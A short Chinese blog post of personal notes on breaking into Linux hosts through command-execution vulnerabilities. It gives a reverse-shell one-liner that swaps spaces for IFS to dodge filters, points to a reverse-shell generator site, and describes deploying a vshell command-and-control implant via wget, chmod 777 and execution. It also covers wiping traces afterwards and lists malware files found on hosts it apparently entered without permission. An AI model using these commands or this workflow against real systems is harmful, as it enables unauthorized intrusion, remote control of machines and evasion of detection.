记录一下遇到的坑，以及怎么解决的

2023年12月28日

工作学习

1、命令执行的漏洞我们执行命令的时候往往会有空格，比如unma -all，nc反弹shell的时候也需要空格。

尝试使用编码替代空格%20，IFS1，之类的替代空格。

例如： ncIFS1ipIFS1portIFS1-eIFS1/bin/bash

linux反弹shell，可以尝试nc、bash，sh之类的这种的最常用，其余的种类就很多了。

https://www.revshells.com/，这个站能够帮助我们直接生成反弹shell的命令。可以直接用。

2、关于上线

我尝试使用vshell这个工具，CS没用过，听说挺复杂的，vshell能一条命令上线，也能生成二进制文件上线。

遇到二坑就是权限不允许，wget下载二进制文件后，执行报错权限不允许。这个时候就得考虑chmod 777 文件名，这条命令了。

更改完文件权限之后就 ./直接执行就行了。有时候二进制反弹shell文件不起效，就多换换，tcp、kcp几个的多试试。

3、入侵还是挺常见的，我发现我进去的主机几乎都被入侵过了，网络扫描行为无处不在啊，入侵行为也无处不在啊。

```
?                                   456.txt                             odin.3
?8?@@P??@8?@                        Josho.x86                           slk
?8?@@???@8?@                        Linux-syn25000                      slt
?U?@p??@8?@                         Linux-udp25000                      slt.1
???@@??@8?@                         U?UPX!?                             slt.2
???g@@8?@??@@????????g?g??         aarch                               svhost
?yU@@8?@??@@??????                  bot.sh                              svhost.1
???@@8?@??@@x?cx?c????????j??Q?td???  core.14019                        svhost.2
??MU@@8?@??@@?V??V?                 fqfq.sh                             svhost.3
03221hkh                            m_tools.elf                         svhost.4
03221hkh.1                          nc                                  svhost.5
03221hkh.2                          nginxWebUI                          svhost.6
1.jar                               nginxWebUI.jar                      svhost.7
1.txt                               odin                                test
123                                 odin.1                              test.1
```

4、上线之后，就清楚点痕迹，下线，毕竟只为练手。还是买机场的订阅吧，自己整太累了。